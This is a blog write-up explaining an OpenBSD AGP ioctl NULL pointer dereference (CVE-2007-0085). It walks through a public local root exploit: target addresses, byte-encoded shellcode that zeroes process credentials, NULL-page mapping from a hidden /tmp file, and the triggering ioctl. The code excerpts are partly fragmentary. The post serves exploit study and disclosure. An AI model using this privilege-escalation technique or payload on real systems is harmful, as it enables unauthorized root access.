xorl %eax, %eax

CVE-2007-0085: OpenBSD agp_ioctl() NULL Pointer Dereference

with 3 comments

On 3 January 2007, OpenBSD project released a security fix. A few days later an exploit code was disclosed by Critical Security for that bug. The bug was discovered by Ilja van Sprundel and it was located at src/sys/dev/pci/agp.c like this:

agp_ioctl(void *v, u_long cmd, caddr_t addr, int flag, struct proc *pb)
	struct vga_config *vc = v;
	struct vga_pci_softc *sc = (struct vga_pci_softc *)vc->vc_softc;
	struct agp_memory *mem;
	agp_info *info;
	agp_setup *setup;
	agp_allocate *alloc;
	agp_bind *bind;
	agp_unbind *unbind;
	vsize_t size;
	int error = 0;

	switch (cmd) {
		info = (agp_info *)addr;
		bzero(info, sizeof *info);
		info->bridge_id = sc->sc_id;
		if (sc->sc_capoff != 0)
			info->agp_mode = pci_conf_read(sc->sc_pc, sc->sc_pcitag,
			    AGP_STATUS + sc->sc_capoff);
			info->agp_mode = 0; /* i810 doesn't have real AGP */
		info->aper_base = sc->sc_apaddr;
		info->aper_size = AGP_GET_APERTURE(sc) >> 20;
		info->pg_total =
		info->pg_system = sc->sc_maxmem >> AGP_PAGE_SHIFT;
		info->pg_used = sc->sc_allocated >> AGP_PAGE_SHIFT;
	return (error);

Ilja van Sprundel found that pointer ‘sc’ is derived from ‘vc->vc_softc’ which is a structure used to describe the VGA device that is passed to that IOCTL as its first argument. Structure vga_pci_softc can be found at dev/pci/agpvar.h and it includes these members (among others):

 * All chipset drivers must have this at the start of their softc.
struct agp_softc {
        struct device                    sc_dev;

        struct agp_memory_list           sc_memory;     /* mem blocks */
        struct rwlock                    sc_lock;       /* GATT access lock */
        const struct agp_methods        *sc_methods;    /* callbacks */
        void                            *sc_chipc;      /* chipset softc */

Ilja discovered that ‘sc_methods’ as well as ‘sc_chipc’ could be NULL and thus lead to NULL pointer dereference if kernel attempts to access their contents. This was patched by the OpenBSD project by adding a check for those two pointers like this:

 	int error = 0;
+	if (sc->sc_methods == NULL || sc->sc_chipc == NULL)
+		return (ENXIO);
 	switch (cmd) {

But, the interesting part is how this vulnerability could be used to lead to a reliable local root exploit. The exploit code released by Critical Security was designed for 3.9 and 4.0 releases of OpenBSD and it was exploiting this bug like that…

void usage() 
printf("Usage: crit_obsd_ex target\n\n"); 
printf("valid targets:\n"); 
printf("(1)\tobsd 4.0 generic i386\n"); 
printf("(2)\tobsd 3.9 generic i386\n\n"); 
int main(int ac, char *av[]) 
        int i; 
        void *p; 
        int fd,failas; 
        u_long  pprocadr; 
        struct kinfo_proc kp; 

printf("|     Critical Security local obsd root      |\n"); 

if (ac<2) usage();

As you can see, it doesn't have automated version check so you'll have to give it an option which is 1 for 4.0-GENERIC and 2 for 3.9-GENERIC releases respectively. So, moving on we have this:

&#91;sourcecode language="c"&#93;
#define TARGET1 "\x51\x47\x48\xd0"  /* 0xd0484751 obsd 4.0 generic i386*/ 
#define TARGET2 "\xa9\x42\x10\xd0"  /* 0xd01042a9 obsd 3.9 generic i386*/ 

char shellcode&#91;&#93;= 
"\x18\x00\x00\x00" /* some crap */ 

"\x18\x00\x00\x00" /* jmp 0x00000018 */ 

"\xde\xad\xde\xef\xbe\x90\x90\x90\x5f\x8b\x0f\x8b" /* p_cred & u_cred shellcode */ 

else if(atoi(av&#91;1&#93;)==2) 
else {usage();} 

Here it fills shellcode&#91;&#93; array from 61th element and beyond with the contents of TARGET1 or TARGET2 depending on the target kernel. After completing this, it will execute the following:

&#91;sourcecode language="c"&#93;
        get_proc((pid_t) getpid(), &kp); 
        pprocadr = (u_long) kp.kp_eproc.e_paddr; 

get_proc() is a simple wrapper around sysctl() which you can see here:

&#91;sourcecode language="c"&#93;
void get_proc(pid_t pid, struct kinfo_proc *kp) 
   u_int arr&#91;4&#93;, len; 

        arr&#91;0&#93; = CTL_KERN; 
        arr&#91;1&#93; = KERN_PROC; 
        arr&#91;2&#93; = KERN_PROC_PID; 
        arr&#91;3&#93; = pid; 
        len = sizeof(struct kinfo_proc); 
        if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) { 
                printf("this is an unexpected error, rerun!\n"); 

So, it will get the proc entry for our process and back to main() routine, 'pprocadr' is initialized with 'kp.kp_eproc.e_paddr' which as we can read from sys/sysctl.h contains the address our process' entry. Next, it will do this:

&#91;sourcecode language="c"&#93;
        shellcode&#91;24+5&#93; = pprocadr & 0xff; 
        shellcode&#91;24+6&#93; = (pprocadr >> 8) & 0xff; 
        shellcode[24+7] = (pprocadr >> 16) & 0xff; 
        shellcode[24+8] = (pprocadr >> 24) & 0xff; 

        printf("[~] shellcode size: %d\n",sizeof(shellcode)); 

This will set the previously retrieved process’ address to ‘shellcode’ buffer from position 29 up to 32 and inform the user with the size of that ‘shellcode’. Next, it will open a file like that:

        fd=open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR); 
        if(fd < 0) 
                err(1, "open"); 

Which has a quite clever filename that could be easily missed by the average user, and then write the 'shellcode' to that file.

&#91;sourcecode language="c"&#93;
        write(fd, shellcode, sizeof(shellcode)); 
        if((lseek(fd, 0L, SEEK_SET)) < 0) 
                err(1, "lseek"); 

It also sets the 'fd' file descriptor to the beginning of the file at offset 0 using lseek(). Then, the interesting part appears...

&#91;sourcecode language="c"&#93;
        p=mmap(0, sizeof(shellcode), PROT_READ|PROT_EXEC, MAP_FIXED, fd, 0); 
        if (p == MAP_FAILED) 
        err(1, "mmap"); 

        printf("&#91;~&#93; map addr: 0x%x\n",p); 
        printf("&#91;~&#93; exploiting...\n"); 

It maps the NULL page in space enough to fit the shellcode and with read and executable permissions to "/tmp/. " file descriptor. Finally, it does this:

&#91;sourcecode language="c"&#93;
        failas = open(AGP_DEVICE, O_RDWR); 
        syscall(SYS_ioctl, failas, 0x80044103, NULL); 


It's opening AGP_DEVICE which is defined at sys/agpio.h as "/dev/agp0" and performs the IOCTL system call. This will trigger the NULL pointer dereference during the execution of any of the 'sc-&gt;sc_methods' callback routines. Now, code execution will happen because 'sc-&gt;sc_methods' is NULL and that structure contains (as we can read from dev/pci/agpvar.h)

&#91;sourcecode language="c"&#93;
struct agp_methods {
	void	(*bind_page)(void *, bus_addr_t, paddr_t, int);
	void	(*unbind_page)(void *, bus_addr_t);
	void	(*flush_tlb)(void *);
	void	(*dma_sync)(bus_dma_tag_t, bus_dmamap_t, bus_addr_t,
		    bus_size_t, int);
	int	(*enable)(void *, u_int32_t mode);
	struct agp_memory *
		(*alloc_memory)(void *, int, vsize_t);
	int	(*free_memory)(void *, struct agp_memory *);
	int	(*bind_memory)(void *, struct agp_memory *, bus_size_t);
	int	(*unbind_memory)(void *, struct agp_memory *);

Since each function pointer requires four bytes in that structure and since the 'shellcode' is mapped to NULL address, when any of this callback functions is invoked, it will jump to an offset from NULL. Let's have a closer look at the shellcode:

&#91;sourcecode language="c"&#93;
"\x18\x00\x00\x00" /* some crap */ 

"\x18\x00\x00\x00" /* jmp 0x00000018 */ 

The first six callback routines will be set to 0x00000018 which is NULL+24. When the dereference happens, the code at shellcode&#91;24+5&#93; up to shellcode&#91;24+8&#93; is filled with our process' address. With this in mind, the above callbacks would be:

 4] bind_page        ---&gt;    0x00000018
 8] unbind_page      ---&gt;    0x00000018
12] flush_tlb        ---&gt;    0x00000018
16] dma_sync         ---&gt;    0x00000018
20] enable           ---&gt;    0x00000018
24] alloc_memory     ---&gt;    0x00000018
28] free_memory      ---&gt;    pprocadr
32] bind_memory      ---&gt;    shellcode
36] unbind_memory    ---&gt;    shellcode
40] ???              ---&gt;    shellcode

The 'shellcode' that will be executed is simply this one:

"\xde\xad\xde\xef\xbe\x90\x90\x90\x5f\x8b\x0f\x8b" /* p_cred & u_cred shellcode */ 


The first few bytes are a simple place-holders since some of them will be overwritten, for example with the address of our process. You can identify this quite easily… just by looking at them:

00 00 00 0f E8
12 34 45 78

Anyway, the ‘shellcode’ is extremely simple. Here it is in assembly with my comments on the right…

pop    %edi             ; Get the address of our process
                        ; which is pushed on the stack
mov    (%edi),%ecx      ; Put its address into ECX
mov    0x10(%ecx),%ebx  ; EBX = pprocadr->p_cred
xor    %eax,%eax        ; EAX = 0
mov    %eax,0x4(%ebx)   ; pprocadr->p_cred->p_ruid = 0
mov    (%ebx),%edx      ; EDX = pprocadr->p_cred->pc_ucred
mov    %eax,0x4(%edx)   ; pprocadr->p_cred->pc_ucred->cr_uid = 0

And after that simple shellcode that will update your process’ credentials to those of root, there is another 4 byte long place-holder to store the target address and then, a simple:

movl $TARGET, %eax
jmp  *%eax

which will just jump to the target address. It is funny how reliable and easy can NULL pointer exploitation be under certain circumstances. Oh… and by the way, there is also another exploit for that bug released by lul-disclosure as openbsdjizz.c which is really cute.

Written by xorl

August 10, 2009 at 13:04

3 Responses

Subscribe to comments with RSS.

  1. Thats a damn good writeup xorl. I read the entire post and understood everything! You should do more of these writeups for those elite new/old exploits too. Could be a fun read!

    Anyway, good writeup. There are not that many blogs/website that are as good as this. Keep up the good work that you’ve been putting up on the blog. Really appreciate it.


    August 11, 2009 at 02:30

  2. Thank you sepctre but as I said in here:
    this was not my idea :P
    Writing about old bugs and discussing exploit codes too was two nice suggestions by 0x29A and nnp.
    Thanks goes to those guys :)


    August 11, 2009 at 06:14

  3. years after the fact comment. I didn’t actually find this bug with code review. I hit it with an ioctl fuzzer.

    Ilja van Sprundel

    March 12, 2015 at 10:32

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: